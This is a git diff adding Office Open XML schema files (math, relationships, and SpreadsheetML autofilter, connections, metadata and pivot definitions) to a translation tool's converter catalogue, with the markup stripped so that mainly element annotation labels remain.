Integer + + + + + 8-Byte Unsigned Integer + + + + + 4-Byte Real Number + + + + + 8-Byte Real Number + + + + + LPSTR + + + + + LPWSTR + + + + + Basic String + + + + + Date and Time + + + + + File Time + + + + + Boolean + + + + + Currency + + + + + Error Status Code + + + + + Class ID + + + + + Clipboard Data + + + + + + Vector Base Type + + + + + Vector Size + + + + + + Array Complex Type + + + + + Variant + + + + + 1-Byte Signed Integer + + + + + 2-Byte Signed Integer + + + + + 4-Byte Signed Integer + + + + + Integer + + + + + 1-Byte Unsigned Integer + + + + + 2-Byte Unsigned Integer + + + + + 4-Byte Unsigned Integer + + + + + Unsigned Integer + + + + + 4-Byte Real Number + + + + + 8-Byte Real Number + + + + + Decimal + + + + + Basic String + + + + + Date and Time + + + + + Boolean + + + + + Error Status Code + + + + + Currency + + + + + + Array Lower Bounds Attribute + + + + + Array Upper Bounds Attribute + + + + + Array Base Type + + + + + + Variant Complex Type + + + + + Variant + + + + + Vector + + + + + Array + + + + + Binary Blob + + + + + Binary Blob Object + + + + + Empty + + + + + Null + + + + + 1-Byte Signed Integer + + + + + 2-Byte Signed Integer + + + + + 4-Byte Signed Integer + + + + + 8-Byte Signed Integer + + + + + Integer + + + + + 1-Byte Unsigned Integer + + + + + 2-Byte Unsigned Integer + + + + + 4-Byte Unsigned Integer + + + + + 8-Byte Unsigned Integer + + + + + Unsigned Integer + + + + + 4-Byte Real Number + + + + + 8-Byte Real Number + + + + + Decimal + + + + + LPSTR + + + + + LPWSTR + + + + + Basic String + + + + + Date and Time + + + + + File Time + + + + + Boolean + + + + + Currency + + + + + Error Status Code + + + + + Binary Stream + + + + + Binary Stream Object + + + + + Binary Storage + + + + + Binary Storage Object + + + + + Binary Versioned Stream + + + + + Class ID + + + + + Clipboard Data + + + + + + + Versioned Stream Complex Type + + + + + + VSTREAM Version Attribute + + + + + + + + Clipboard Data Complex Type + + + + + + Format Attribute + + + + + + + + Variant + + + + + Vector + + + + + Array + + + + + Binary Blob + + + + + Binary Blob Object + + + + + Empty + + + + + Null + + + + + 1-Byte Signed Integer + + + + + 2-Byte Signed Integer + + + + + 4-Byte Signed Integer + + + + + 8-Byte Signed Integer + + + + + Integer + + + + + 1-Byte Unsigned Integer + + + + + 2-Byte Unsigned Integer + + + + + 4-Byte Unsigned Integer + + + + + 8-Byte Unsigned Integer + + + + + Unsigned Integer + + + + + 4-Byte Real Number + + + + + 8-Byte Real Number + + + + + Decimal + + + + + LPSTR + + + + + LPWSTR + + + + + Basic String + + + + + Date and Time + + + + + File Time + + + + + Boolean + + + + + Currency + + + + + Error Status Code + + + + + Binary Stream + + + + + Binary Stream Object + + + + + Binary Storage + + + + + Binary Storage Object + + + + + Binary Versioned Stream + + + + + Class ID + + + + + Clipboard Data + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-math.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-math.xsd new file mode 100644 index 0000000..04f4617 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-math.xsd @@ -0,0 +1,1450 @@ + + + + + + Integer value (1 to 255) + + + + + + + + + + Value + + + + + + Integer value (-2 to 2) + + + + + + + + + + Value + + + + + + Spacing Rule + + + + + + + + + + Value + + + + + + Unsigned integer. + + + + + + + Value + + + + + + Character + + + + + + + + + value + + + + + + On Off + + + + + On + + + + + Off + + + + + + + + value + + + + + + String + + + + + + + + + Horizontal Alignment + + + + + Left Justification + + + + + Center + + + + + Right + + + + + + + + Value + + + + + + Vertical Alignment + + + + + Top + + + + + Center (Function) + + + + + Bottom Alignment + + + + + + + + Value + + + + + + Shape (Delimiters) + + + + + Centered (Delimiters) + + + + + Match + + + + + + + + Value + + + + + + Fraction Type + + + + + Bar Fraction + + + + + Skewed + + + + + Linear Fraction + + + + + No-Bar Fraction (Stack) + + + + + + + + Value + + + + + + Limit Location + + + + + Under-Over location + + + + + Subscript-Superscript location + + + + + + + + Value + + + + + + Top-Bottom + + + + + Top + + + + + Bottom Alignment + + + + + + + + Value + + + + + + Script + + + + + Roman + + + + + Script + + + + + Fraktur + + + + + double-struck + + + + + Sans-Serif + + + + + Monospace + + + + + + + + Value + + + + + + Style + + + + + Plain + + + + + Bold + + + + + Italic + + + + + Bold-Italic + + + + + + + + Value + + + + + + + Align At + + + + + + + + Script + + + + + style + + + + + + + + + Literal + + + + + + Normal Text + + + + + + + + + Break + + + + + Align + + + + + + + + + + Run Properties + + + + + Text + + + + + + + Accent Properties + + + + + Accent Character + + + + + + + Accent function + + + + + Accent Properties + + + + + Base + + + + + + + Bar Properties + + + + + Position (Bar) + + + + + + + Bar + + + + + Bar Properties + + + + + Base + + + + + + + + + Operator Emulator + + + + + No Break + + + + + Differential + + + + + Break on Box Function + + + + + Alignment + + + + + + + + + Box Properties + + + + + Base + + + + + + + + + Hide Top Edge + + + + + Hide Bottom Edge + + + + + Hide Left Edge + + + + + Hide Right Edge + + + + + Border Box Strikethrough Horizontal + + + + + Border Box Strikethrough Vertical + + + + + Border Box Strikethrough Bottom-Left to Top-Right + + + + + Border Box Strikethrough Top-Left to Bottom-Right + + + + + + + + + Border Box Properties + + + + + Base + + + + + + + + + Delimiter Beginning Character + + + + + Delimiter Separator Character + + + + + Delimiter Ending Character + + + + + Delimiter Grow + + + + + Shape (Delimiters) + + + + + + + + + Delimiter Properties + + + + + Base + + + + + + + + + Equation Array Base Justification + + + + + Maximum Distribution + + + + + Object Distribution + + + + + Row Spacing Rule + + + + + Row Spacing (Equation Array) + + + + + + + + + Equation Array Properties + + + + + Element + + + + + + + + + Fraction type + + + + + + + + + Fraction Properties + + + + + Numerator + + + + + Denominator + + + + + + + + + Function Name + + + + + Base (Argument) + + + + + + + + + Group Character (Grouping Character) + + + + + Position (Group Character) + + + + + + + + + Group-Character Properties + + + + + Base + + + + + + + + + Base + + + + + Limit (Lower) + + + + + + + + + Base + + + + + Limit (Upper) + + + + + + + + + Matrix Column Count + + + + + Matrix Column Justification + + + + + + + + + Matrix Column Properties + + + + + + + + + Matrix Column + + + + + + + + + Matrix Base Justification + + + + + Hide Placeholders (Matrix) + + + + + Row Spacing Rule + + + + + Matrix Column Gap Rule + + + + + Row Spacing (Matrix) + + + + + Matrix Column Spacing + + + + + Matrix Column Gap + + + + + Matrix Columns + + + + + + + + + Element + + + + + + + + + Matrix Properties + + + + + Matrix Row + + + + + + + + + n-ary Operator Character + + + + + n-ary Limit Location + + + + + n-ary Grow + + + + + Hide Subscript (n-ary) + + + + + Hide Superscript (n-ary) + + + + + + + + + n-ary Properties + + + + + Lower limit (n-ary) + + + + + Upper limit (n-ary) + + + + + Base (Argument) + + + + + + + + + Phantom Show + + + + + Phantom Zero Width + + + + + Phantom Zero Ascent + + + + + Phantom Zero Descent + + + + + Transparent (Phantom) + + + + + + + + + Phantom Properties + + + + + Base + + + + + + + + + Hide Degree + + + + + + + + + Radical Properties + + + + + Degree + + + + + Base + + + + + + + + + Subscript (Pre-Sub-Superscript) + + + + + Superscript(Pre-Sub-Superscript function) + + + + + Base + + + + + + + + + Base + + + + + Subscript (Superscript function) + + + + + + + + + Align Scripts + + + + + + + + + Sub-Superscript Properties + + + + + Base + + + + + Subscript (Sub-Superscript) + + + + + Superscript (Sub-Superscript function) + + + + + + + + + Base + + + + + Superscript (Superscript function) + + + + + + + Office Math Argument Embedded Language Tokens + + + + + Accent + + + + + Bar + + + + + Box Function + + + + + Border-Box function. + + + + + Delimiter function. + + + + + Equation-Array function. + + + + + Fraction function. + + + + + Function Apply Function + + + + + Group-Character function. + + + + + Lower-Limit function. + + + + + Upper-Limit function. + + + + + Matrix function. + + + + + n-ary Operator function. + + + + + Phantom function. + + + + + Radical function. + + + + + Pre-Sub-Superscript function. + + + + + Subscript function. + + + + + Sub-Superscript function. + + + + + Superscript function. + + + + + Run + + + + + + + + + Argument Size + + + + + + + + + Argument Properties + + + + + Office Math Argument Embedded Language Tokens + + + + + + + Justification + + + + + Left Justification + + + + + Right + + + + + Center (Equation) + + + + + Centered as Group (Equations) + + + + + + + + Value + + + + + + + + Justification + + + + + + + Half Points Measure + + + + + + + Value + + + + + + Twips measurement + + + + + + + Value + + + + + + Break Binary Operators + + + + + Before + + + + + After + + + + + Repeat + + + + + + + + Value + + + + + + Break on Binary Subtraction + + + + + Minus Minus + + + + + Minus Plus + + + + + Plus Minus + + + + + + + + Value + + + + + + + + Math Font + + + + + Break on Binary Operators + + + + + Break on Binary Subtraction + + + + + Small Fraction + + + + + Use Display Math Defaults + + + + + Left Margin + + + + + Right Margin + + + + + Default Justification + + + + + Pre-Equation Spacing + + + + + Post-Equation Spacing + + + + + Inter-Equation Spacing + + + + + Intra-Equation Spacing + + + + + + Wrap Indent + + + + + Wrap Right + + + + + + Integral Limit Locations + + + + + n-ary Limit Location + + + + + + + Math Properties + + + + + + + Office Math Paragraph Properties + + + + + Office Math + + + + + + + + + + + + + + + + + Math Argument. + + + + + + + Math Paragraph + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-relationships.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-relationships.xsd new file mode 100644 index 0000000..4b71069 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-relationships.xsd @@ -0,0 +1,28 @@ + + + + + + + + Relationship ID + + + + + Embedded Image Relationship Target + + + + + + + + + + + + Hyperlink Target Relationship ID + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-schemalibrary.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-schemalibrary.xsd new file mode 100644 index 0000000..a88e81a --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-schemalibrary.xsd @@ -0,0 +1,40 @@ + + + + + Custom XML Schema Reference + + + + Custom XML Schema Namespace + + + + + Resource File Location + + + + + Custom XML Schema Location + + + + + + Custom XML Schema List + + + + + Custom XML Schema Reference + + + + + + + Embedded Custom XML Schema List + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-autofilter.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-autofilter.xsd new file mode 100644 index 0000000..46d2514 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-autofilter.xsd @@ -0,0 +1,780 @@ + + + + + + + Auto Filter + + + + + Filter Column + + + + + Sort State for Auto Filter + + + + + + Cell Reference + + + + + + Filter Column Data + + + + + Filter Criteria + + + + + Top 10 + + + + + Custom Filters + + + + + Dynamic Filter + + + + + Color Filter Criteria + + + + + Icon Filter + + + + + + Filter Column Data + + + + + Hidden AutoFilter Button + + + + + Show Filter Button + + + + + + Filters + + + + + Filter + + + + + Date Grouping + + + + + + Filter by Blank + + + + + Calendar Type + + + + + + Filter + + + + Filter Value + + + + + + Custom Filters + + + + + Custom Filter Criteria + + + + + + And + + + + + + Custom Filter + + + + Filter Comparison Operator + + + + + Top or Bottom Value + + + + + + Top 10 + + + + Top + + + + + Filter by Percent + + + + + Top or Bottom Value + + + + + + Color Definition + + + + Format Id + + + + + Filter By Cell Color + + + + + + Icon Filter + + + + Icon Set + + + + + Icon Id + + + + + + Filter Operator + + + + + Equal + + + + + Less Than + + + + + Less Than Or Equal + + + + + Not Eqal + + + + + Greater Than Or Equal + + + + + Greater Than + + + + + + + Dynamic Filter + + + + Dynamic filter type + + + + + + Dynamic Filter + + + + + Null + + + + + Above Average + + + + + Below Average + + + + + Tomorrow + + + + + Today + + + + + Yesterday + + + + + Next Week + + + + + This Week + + + + + Last Week + + + + + Next Month + + + + + This Month + + + + + Last Month + + + + + Next Quarter + + + + + This Quarter + + + + + Last Quarter + + + + + Next Year + + + + + This Year + + + + + Last Year + + + + + Year To Date + + + + + 1st Quarter + + + + + 2nd Quarter + + + + + 3rd Quarter + + + + + 4th Quarter + + + + + 1st Month + + + + + 2nd Month + + + + + 3rd Month + + + + + 4th Month + + + + + 5th Month + + + + + 6th Month + + + + + 7th Month + + + + + 8th Month + + + + + 9th Month + + + + + 10th Month + + + + + 11th Month + + + + + 12th Month + + + + + + + Icon Set Type + + + + + 3 Arrows Icon Set + + + + + 3 Arrows Icon Set (Gray) + + + + + 3 Flags Icon Set + + + + + 3 Traffic Lights Icon Set #1 + + + + + 3 Traffic Lights Icon Set + + + + + 3 Signs Icon Set + + + + + 3 Symbols Icon Set + + + + + + 4 Arrows Icon Set + + + + + 4 Arrows (Gray) Icon Set + + + + + 4 Red To Black Icon Set + + + + + 4 Ratings Icon Set + + + + + 4 Traffic Lights Icon Set + + + + + 5 Arrows Icon Set + + + + + 5 Arrows (Gray) Icon Set + + + + + 5 Ratings Icon Set + + + + + 5 Quarters Icon Set + + + + + + + Sort State + + + + + Sort Condition + + + + + + Sort by Columns + + + + + Case Sensitive + + + + + Sort Method + + + + + Sort Range + + + + + + Sort Condition + + + + Descending + + + + + Sort By + + + + + Reference + + + + + Custom List + + + + + Format Id + + + + + Icon Set + + + + + Icon Id + + + + + + Sort By + + + + + Value + + + + + Sort by Cell Color + + + + + Sort by Font Color + + + + + Sort by Icon + + + + + + + Sort Method + + + + + Sort by Stroke + + + + + PinYin Sort + + + + + + + Calendar Type + + + + + No Calendar Type + + + + + Gregorian + + + + + Gregorian (U.S.) Calendar + + + + + Japanese Emperor Era Calendar + + + + + Taiwan Era Calendar + + + + + Korean Tangun Era Calendar + + + + + Hijri (Arabic Lunar) Calendar + + + + + Thai Calendar + + + + + Hebrew (Lunar) Calendar + + + + + Gregorian Middle East French Calendar + + + + + Gregorian Arabic Calendar + + + + + Gregorian Transliterated English Calendar + + + + + Gregorian Transliterated French Calendar + + + + + + + Date Group Item + + + + Year + + + + + Month + + + + + Day + + + + + Hour + + + + + Minute + + + + + Second + + + + + Date Time Grouping + + + + + + Date Time Grouping + + + + + Group by Year + + + + + Month + + + + + Day + + + + + Group by Hour + + + + + Group by Minute + + + + + Second + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-basictypes.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-basictypes.xsd new file mode 100644 index 0000000..bbcaea7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-basictypes.xsd @@ -0,0 +1,78 @@ + + + + + Escaped String + + + + + + Cell Reference + + + + + + Cell References + + + + + + Single Cell Reference + + + + + + Reference Sequence + + + + + + Formula + + + + + + Hex Unsigned Integer + + + + + + + + Unsigned Short Hex + + + + + + + + Globally Unique Id + + + + + + + + + Value + + + + + + Future Feature Storage Location + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-calcchain.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-calcchain.xsd new file mode 100644 index 0000000..0d7be33 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-calcchain.xsd @@ -0,0 +1,56 @@ + + + + + + Calculation Chain Info + + + + + Calculation Chain + + + + + Cell + + + + + + + Calculation Position + + + + Cell Reference + + + + + Sheet Id + + + + + Child Chain + + + + + New Dependency Level + + + + + New Thread + + + + + Array + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-comments.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-comments.xsd new file mode 100644 index 0000000..e7009dc --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-comments.xsd @@ -0,0 +1,73 @@ + + + + + + + Comments + + + + + Comments + + + + + Authors + + + + + List of Comments + + + + + + + Authors + + + + + Author + + + + + + + List of Comments + + + + + Comment + + + + + + + Comment + + + + + Comment Text + + + + + + Cell Reference + + + + + Author Id + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-extconns.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-extconns.xsd new file mode 100644 index 0000000..c4dfafc --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-extconns.xsd @@ -0,0 +1,690 @@ + + + + + + + Connections + + + + + + + Connection + + + + + + + Connection + + + + + ODBC & OLEDB Properties + + + + + OLAP Properties + + + + + Web Query Properties + + + + + Text Import Settings + + + + + Query Parameters + + + + + Future Feature Data Storage + + + + + + Connection Id + + + + + Source Database File + + + + + Connection File + + + + + Keep Connection Open + + + + + Automatic Refresh Interval + + + + + Connection Name + + + + + Connection Description + + + + + Database Source Type + + + + + Reconnection Method + + + + + Last Refresh Version + + + + + Minimum Version Required for Refresh + + + + + Save Password + + + + + New Connection + + + + + Deleted Connection + + + + + Only Use Connection File + + + + + Background Refresh + + + + + Refresh on Open + + + + + Save Data + + + + + Reconnection Method + + + + + SSO Id + + + + + + Credentials Method + + + + + Integrated Authentication + + + + + No Credentials + + + + + Stored Credentials + + + + + Prompt Credentials + + + + + + + + Connection String + + + + + Command Text + + + + + Command Text + + + + + OLEBD Command Type + + + + + + + Local Cube + + + + + Local Cube Connection + + + + + Local Refresh + + + + + Send Locale to OLAP + + + + + Drill Through Count + + + + + OLAP Fill Formatting + + + + + OLAP Number Format + + + + + OLAP Server Font + + + + + OLAP Font Formatting + + + + + + Web Properties + + + + + Tables + + + + + + XML Source + + + + + Import XML Source Data + + + + + Parse PRE + + + + + Consecutive Delimiters + + + + + Use First Row + + + + + Created in Excel 97 + + + + + Dates as Text + + + + + Refreshed in Excel 2000 + + + + + URL + + + + + Web Post + + + + + HTML Tables Only + + + + + HTML Formatting Handling + + + + + Edit Query URL + + + + + + HTML Formatting Handling + + + + + No Formatting + + + + + Honor Rich Text + + + + + All + + + + + + + Parameters + + + + + Parameter Properties + + + + + + Parameter Count + + + + + + Parameter + + + + Parameter Name + + + + + SQL Data Type + + + + + Parameter Type + + + + + Refresh on Change + + + + + Parameter Prompt String + + + + + Boolean + + + + + Double + + + + + Integer + + + + + String + + + + + Cell Reference + + + + + + Parameter Type + + + + + Prompt on Refresh + + + + + Value + + + + + Parameter From Cell + + + + + + + Tables + + + + + No Value + + + + + Character Value + + + + + Index + + + + + + Count of Tables + + + + + + + Text Properties + + + + + Fields + + + + + + Prompt for File Name + + + + + File Type + + + + + Code Page + + + + + First Row + + + + + Source File Name + + + + + Delimited File + + + + + Decimal Separator + + + + + Thousands Separator + + + + + Tab as Delimiter + + + + + Space is Delimiter + + + + + Comma is Delimiter + + + + + Semicolon is Delimiter + + + + + Consecutive Delimiters + + + + + Qualifier + + + + + Custom Delimiter + + + + + + File Type + + + + + Macintosh + + + + + Windows (ANSI) + + + + + DOS + + + + + + + Qualifier + + + + + Double Quote + + + + + Single Quote + + + + + No Text Qualifier + + + + + + + Fields + + + + + Text Import Field Settings + + + + + + Count of Fields + + + + + + + Field Type + + + + + Position + + + + + + External Connection + + + + + General + + + + + Text + + + + + Month Day Year + + + + + Day Month Year + + + + + Year Month Day + + + + + Month Day Year + + + + + Day Year Month + + + + + Year Day Month + + + + + Skip Field + + + + + East Asian Year Month Day + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-metadata.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-metadata.xsd new file mode 100644 index 0000000..c76e41c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-metadata.xsd @@ -0,0 +1,606 @@ + + + + + + Metadata + + + + + + + Metadata Types Information + + + + + Metadata String Store + + + + + MDX Metadata Information + + + + + Future Metadata + + + + + Cell Metadata + + + + + Value Metadata + + + + + Future Feature Storage Area + + + + + + + + + Metadata Type Information + + + + + + Metadata Type Count + + + + + + + Metadata Type Name + + + + + Minimum Supported Version + + + + + Metadata Ghost Row + + + + + Metadata Ghost Column + + + + + Metadata Edit + + + + + Metadata Cell Value Delete + + + + + Metadata Copy + + + + + Metadata Paste All + + + + + Metadata Paste Formulas + + + + + Metadata Paste Special Values + + + + + Metadata Paste Formats + + + + + Metadata Paste Comments + + + + + Metadata Paste Data Validation + + + + + Metadata Paste Borders + + + + + Metadata Paste Column Widths + + + + + Metadata Paste Number Formats + + + + + Metadata Merge + + + + + Meatadata Split First + + + + + Metadata Split All + + + + + Metadata Insert Delete + + + + + Metadata Clear All + + + + + Metadata Clear Formats + + + + + Metadata Clear Contents + + + + + Metadata Clear Comments + + + + + Metadata Formula Assignment + + + + + Metadata Coercion + + + + + Adjust Metadata + + + + + Cell Metadata + + + + + + + + Metadata Block + + + + + + Metadata Block Count + + + + + + Metadata Block + + + + + Metadata Record + + + + + + + Metadata Record + + + + Metadata Record Type Index + + + + + Metadata Record Value Index + + + + + + + + Future Metadata Block + + + + + Future Feature Data Storage Area + + + + + + Metadata Type Name + + + + + Future Metadata Block Count + + + + + + Future Metadata Block + + + + + Future Feature Storage Area + + + + + + + MDX Metadata + + + + + MDX Metadata Record + + + + + + MDX Metadata Record Count + + + + + + MDX Metadata Record + + + + + Tuple MDX Metadata + + + + + Set MDX Metadata + + + + + Member Property MDX Metadata + + + + + KPI MDX Metadata + + + + + + Connection Name Index + + + + + Cube Function Tag + + + + + + MDX Function Type + + + + + Cube Member + + + + + Cube Value + + + + + Cube Set + + + + + Cube Set Count + + + + + Cube Ranked Member + + + + + Cube Member Property + + + + + Cube KPI Member + + + + + + + MDX Tuple + + + + + Member Unique Name Index + + + + + + Member Index Count + + + + + Server Formatting Culture Currency + + + + + Server Formatting String Index + + + + + Server Formatting Built-In Number Format Index + + + + + Server Formatting Background Color + + + + + Server Formatting Foreground Color + + + + + Server Formatting Italic Font + + + + + Server Formatting Underline Font + + + + + Server Formatting Strikethrough Font + + + + + Server Formatting Bold Font + + + + + + MDX Set + + + + + Member Unique Name Index + + + + + + Set Definition Index + + + + + Sort By Member Index Count + + + + + Set Sort Order + + + + + + MDX Set Order + + + + + Unsorted + + + + + Ascending + + + + + Descending + + + + + Alpha Ascending Sort Order + + + + + Alpha Descending Sort Order + + + + + Natural Ascending + + + + + Natural Descending + + + + + + + MDX Member Properties + + + + Member Unique Name Index + + + + + Property Name Index + + + + + + MDX KPI + + + + Member Unique Name Index + + + + + KPI Index + + + + + KPI Property + + + + + + MDX KPI Property + + + + + Value + + + + + Goal + + + + + Status + + + + + Trend + + + + + Weight + + + + + Current Time Member + + + + + + + + Index Value + + + + + String is a Set + + + + + + + + MDX Metadata String + + + + + + MDX Metadata String Count + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-pivot.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-pivot.xsd new file mode 100644 index 0000000..3948b83 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/sml-pivot.xsd @@ -0,0 +1,3738 @@ + + + + + + + + + + + PivotCache Definition + + + + + PivotCache Records + + + + + Pivot Table Definition + + + + + + + PivotCache Source Description + + + + + PivotCache Fields + + + + + PivotCache Hierarchies + + + + + OLAP KPIs + + + + + Tuple Cache + + + + + Calculated Item Formulas + + + + + OLAP Calculated Members + + + + + OLAP Dimensions + + + + + OLAP Measure Groups + + + + + OLAP Measure Group + + + + + Future Feature Data Storage Area + + + + + + + Invalid Cache + + + + + Save Pivot Records + + + + + Refresh On Load + + + + + Optimize Cache for Memory + + + + + Enable PivotCache Refresh + + + + + Last Refreshed By + + + + + PivotCache Last Refreshed Date + + + + + Background Query + + + + + Missing Items Limit + + + + + PivotCache Created Version + + + + + PivotCache Last Refreshed Version + + + + + Minimum Version Required for Refresh + + + + + PivotCache Record Count + + + + + Upgrade PivotCache on Refresh + + + + + + + + + PivotCache Field + + + + + + Field Count + + + + + + + + Shared Items + + + + + Field Group Properties + + + + + Member Properties Map + + + + + Future Feature Data Storage Area + + + + + + PivotCache Field Name + + + + + PivotCache Field Caption + + + + + Server-based Field + + + + + Unique List Retrieved + + + + + Number Format Id + + + + + Calculated Field Formula + + + + + SQL Data Type + + + + + Hierarchy + + + + + Hierarchy Level + + + + + Database Field + + + + + Member Property Count + + + + + Member Property Field + + + + + + + + Worksheet PivotCache Source + + + + + Consolidation Source + + + + + Future Feature Data Storage Area + + + + + + Cache Type + + + + + Connection Index + + + + + + PivotCache Type + + + + + Worksheet + + + + + External + + + + + Consolidation Ranges + + + + + Scenario Summary Report + + + + + + + + Reference + + + + + Built-In Named Range + + + + + Named Range + + + + + Sheet Name + + + + + + + + + Page Item Values + + + + + Range Sets + + + + + + Auto Page + + + + + + + + Page Items + + + + + + Page Item String Count + + + + + + + + Page Item + + + + + + Page Item String Count + + + + + + + Page Item Name + + + + + + + + Range Set + + + + + + Reference and Page Item Count + + + + + + + Field Item Index Page 1 + + + + + Field Item Index Page 2 + + + + + Field Item index Page 3 + + + + + Field Item Index Page 4 + + + + + Reference + + + + + Built-In Named Range + + + + + Named Range + + + + + Sheet Name + + + + + + + + + No Value + + + + + Numeric + + + + + Boolean + + + + + Error Value + + + + + Character Value + + + + + Date Time + + + + + + Contains Semi Mixed Data Types + + + + + Contains Non Date + + + + + Contains Date + + + + + Contains String + + + + + Contains Blank + + + + + Contains Mixed Data Types + + + + + Contains Numbers + + + + + Contains Integer + + + + + Minimum Numeric Value + + + + + Maximum Numeric Value + + + + + Minimum Date Time + + + + + Maximum Date Time Value + + + + + Shared Items Count + + + + + Long Text + + + + + + + + Tuples + + + + + Member Property Indexes + + + + + + Unused Item + + + + + Calculated Item + + + + + Caption + + + + + Member Property Count + + + + + + + + + + + + + + + OLAP Members + + + + + Member Property Index + + + + + + Value + + + + + Unused Item + + + + + Calculated Item + + + + + Caption + + + + + Member Property Count + + + + + + + + + + + + + + + Member Property Indexes + + + + + + Value + + + + + Unused Item + + + + + Calculated Item + + + + + Caption + + + + + Member Property Count + + + + + + Error + + + + + Tuples + + + + + Member Property Indexes + + + + + + Value + + + + + Unused Item + + + + + Calculated Item + + + + + Item Caption + + + + + Member Property Count + + + + + + + + + + + + + + + Tuples + + + + + Member Property Index + + + + + + Value + + + + + Unused Item + + + + + Calculated Item + + + + + Item Caption + + + + + Member Property Count + + + + + + + + + + + + + + + Member Property Index + + + + + + Value + + + + + Unused Item + + + + + Calculated Item Value + + + + + Caption + + + + + Member Property Count + + + + + + + + Range Grouping Properties + + + + + Discrete Grouping Properties + + + + + Group Items + + + + + + Parent + + + + + Field Base + + + + + + + Source Data Set Beginning Range + + + + + Source Data Ending Range + + + + + Group By + + + + + Numeric Grouping Start Value + + + + + Numeric Grouping End Value + + + + + Date Grouping Start Value + + + + + Date Grouping End Value + + + + + Grouping Interval + + + + + + Values Group By + + + + + Group By Numeric Ranges + + + + + Seconds + + + + + Minutes + + + + + Hours + + + + + Days + + + + + Months + + + + + Quarters + + + + + Years + + + + + + + + + Element Group + + + + + + Mapping Index Count + + + + + + + + No Value + + + + + Numeric Value + + + + + Boolean + + + + + Error Value + + + + + Character Value + + + + + Date Time + + + + + + Items Created Count + + + + + + + + PivotCache Record + + + + + Future Feature Data Storage Area + + + + + + PivotCache Records Count + + + + + + + + No Value + + + + + Numeric Value + + + + + Boolean + + + + + Error Value + + + + + Character Value + + + + + Date Time + + + + + Shared Items Index + + + + + + + + + OLAP KPI + + + + + + KPI Count + + + + + + + KPI Unique Name + + + + + KPI Display Name + + + + + KPI Display Folder + + + + + KPI Measure Group Name + + + + + Parent KPI + + + + + KPI Value Unique Name + + + + + KPI Goal Unique Name + + + + + KPI Status Unique Name + + + + + KPI Trend Unique Name + + + + + KPI Weight Unique Name + + + + + Time Member KPI Unique Name + + + + + + + + Pivot Cache OLAP Hierarchy + + + + + + Hierarchy Count + + + + + + + + Fields Usage + + + + + OLAP Grouping Levels + + + + + Future Feature Data Storage Area + + + + + + Hierarchy Unique Name + + + + + Hierarchy Display Name + + + + + Measure Hierarchy + + + + + Set + + + + + Parent Set + + + + + KPI Icon Set + + + + + Attribute Hierarchy + + + + + Time + + + + + Key Attribute Hierarchy + + + + + Default Member Unique Name + + + + + Unique Name of 'All' + + + + + Display Name of 'All' + + + + + Dimension Unique Name + + + + + Display Folder + + + + + Measure Group Name + + + + + Measures + + + + + Levels Count + + + + + One Field + + + + + + + + + PivotCache Field Id + + + + + + Field Count + + + + + + + Field Index + + + + + + + + OLAP Grouping Levels + + + + + + Grouping Level Count + + + + + + + 